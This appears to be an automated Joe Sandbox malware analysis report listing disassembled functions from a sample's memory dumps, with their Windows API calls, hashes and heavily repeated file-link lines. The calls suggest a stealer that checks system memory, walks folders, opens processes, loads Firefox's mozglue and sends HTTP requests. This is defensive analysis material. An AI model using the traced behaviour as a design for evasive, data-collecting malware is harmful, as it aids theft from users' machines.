Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d07c1feefb01069fc822a7ad1683e2a8883743631c14ed00fc7a67a4544c56d4
Instruction ID: 65634f810407b2b71ee74e4b0b73d035dfcc2929cd4d89c34dee0539f11be553
Opcode Fuzzy Hash: d07c1feefb01069fc822a7ad1683e2a8883743631c14ed00fc7a67a4544c56d4
Instruction Fuzzy Hash: 49F0F878A88219ABE710ABA0DD0ABFE7B74FF18781F108514F912E51D1DBB05580DAA6

Function 00A047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

Strings

<, xrefs: 00A047C9

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 761f0434600ab3e5a6fb6e0593de79d4590d6332f70f3761d97979fd96cc3ad2
Instruction ID: 73318f150ae27e951a589f8bd352cdbb0e48e73bd1b04a505e0b54946befb90b
Opcode Fuzzy Hash: 761f0434600ab3e5a6fb6e0593de79d4590d6332f70f3761d97979fd96cc3ad2
Instruction Fuzzy Hash: 9B215BB1D00208ABDF14DFA4E945BDE7B78FF05320F108625F929A72C0EB706A05CB82

Function 00A151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A06280: InternetOpenA.WININET(00A20DFE,00000001,00000000,00000000,00000000), ref: 00A062E1
Part of subcall function 00A06280: StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A06303
Part of subcall function 00A06280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A06335
Part of subcall function 00A06280: HttpOpenRequestA.WININET(00000000,GET,?,010BDEA0,00000000,00000000,00400100,00000000), ref: 00A06385
Part of subcall function 00A06280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A063BF
Part of subcall function 00A06280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A15228

Strings

ERROR, xrefs: 00A1521A
ERROR, xrefs: 00A15273

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 893acb9566dba0cd024c67e46e03ed723b4397378bda678f36cccd99f16f59fe
Instruction ID: 3752d672e9f7004f51f81a7e1a331d52d32902c1cbbb6c2fa0bdc4e0efb1c103
Opcode Fuzzy Hash: 893acb9566dba0cd024c67e46e03ed723b4397378bda678f36cccd99f16f59fe
Instruction Fuzzy Hash: BB110071911148ABCB14FF74EF52AED7338AF60350F444568F81A5A5D2EF30AB86C791

Function 00A01220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A0123E
ExitProcess.KERNEL32 ref: 00A01294

Strings

@, xrefs: 00A01233

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 1879906cbcc855181a6f6f095eb8a8383361001a678127469ef5fc5587bba936
Instruction ID: ef90f23e4634dbbb80aba9f1ea0b1f02b756e01c2460aa0f6bf37a1c5ec5686d
Opcode Fuzzy Hash: 1879906cbcc855181a6f6f095eb8a8383361001a678127469ef5fc5587bba936
Instruction Fuzzy Hash: 2301FBB0984308BBEB10DBE4DD49BDEBB78AB18705F208058E705B62C0D67455858799

Function 00A14F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

lstrcat.KERNEL32(?,00000000), ref: 00A14F7A
lstrcat.KERNEL32(?,00A21070), ref: 00A14F97
lstrcat.KERNEL32(?,010B8F38), ref: 00A14FAB
lstrcat.KERNEL32(?,00A21074), ref: 00A14FBD

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A1492C
Part of subcall function 00A14910: FindFirstFileA.KERNEL32(?,?), ref: 00A14943

Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FDC), ref: 00A14971
Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FE0), ref: 00A14987
Part of subcall function 00A14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A14B7D
Part of subcall function 00A14910: FindClose.KERNEL32(000000FF), ref: 00A14B92

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 2c7d17aeb99f150feafb4a80831d7e1112691e614b6aff9ca2f9fa14e6470e2c
Instruction ID: 0bbc372fcee41b9bd60855b18b089fb71c369bc9e8235d77bb3b8fb69afc1084
Opcode Fuzzy Hash: 2c7d17aeb99f150feafb4a80831d7e1112691e614b6aff9ca2f9fa14e6470e2c
Instruction Fuzzy Hash: 7C21C5BAE4020867C754FBB0ED46FED337CBB59700F004558B649971C1EE74AAC98BA2

Function 00A10740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010B8FE8), ref: 00A1079A
StrCmpCA.SHLWAPI(00000000,010B9058), ref: 00A10866
StrCmpCA.SHLWAPI(00000000,010B8FF8), ref: 00A1099D

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 00d5097206cb1f68ec40dcb5ca77c13f44a9ba45f45b708456e48671e2f7d358
Instruction ID: b7681a3d338340ed8f1a71b9c177b2fcfd54730ee3ad42e5a9e75eb6c4678681
Opcode Fuzzy Hash: 00d5097206cb1f68ec40dcb5ca77c13f44a9ba45f45b708456e48671e2f7d358
Instruction Fuzzy Hash: 98916875A102089FCB28EF64DA95FED77B5FF95300F448519E8099F281DB30AB46CB92

Function 00A10765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010B8FE8), ref: 00A1079A
StrCmpCA.SHLWAPI(00000000,010B9058), ref: 00A10866
StrCmpCA.SHLWAPI(00000000,010B8FF8), ref: 00A1099D

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 434e9537cc1e85e48dbeda91e2b65c7c4a0c0dbc4b7031e82e22452e655412d0
Instruction ID: edc49c48f3be58dc6613c9242fc3a531d63a586429c1692a43b9d2f2255a8d52
Opcode Fuzzy Hash: 434e9537cc1e85e48dbeda91e2b65c7c4a0c0dbc4b7031e82e22452e655412d0
Instruction Fuzzy Hash: 36815575B102089FCB18EF64DA91FEDB7B5FF95300F548519E8099F281DB30AA46CB82

Function 6C5C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5C3095

Part of subcall function 6C5C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
Part of subcall function 6C5C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
Part of subcall function 6C5C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
Part of subcall function 6C5C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
Part of subcall function 6C5C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
Part of subcall function 6C5C35A0: __aulldiv.LIBCMT ref: 6C5C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C309F

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5C30BE

Part of subcall function 6C5C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5C3127
Part of subcall function 6C5C30F0: __aulldiv.LIBCMT ref: 6C5C3140

Part of subcall function 6C5FAB2A: __onexit.LIBCMT ref: 6C5FAB30

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction ID: cac7d7eb4f2d4cef863a7c772e710718c67fc8a03a0eb8ca5bf42e0be1b219d5
Opcode Fuzzy Hash: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction Fuzzy Hash: 01F0D632E20748D6CB10FF759C815E6B374AFAB218F50D319E85863551FB2065D8838B

Function 00A19470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00A19484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00A194A5
CloseHandle.KERNEL32(00000000), ref: 00A194AF

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
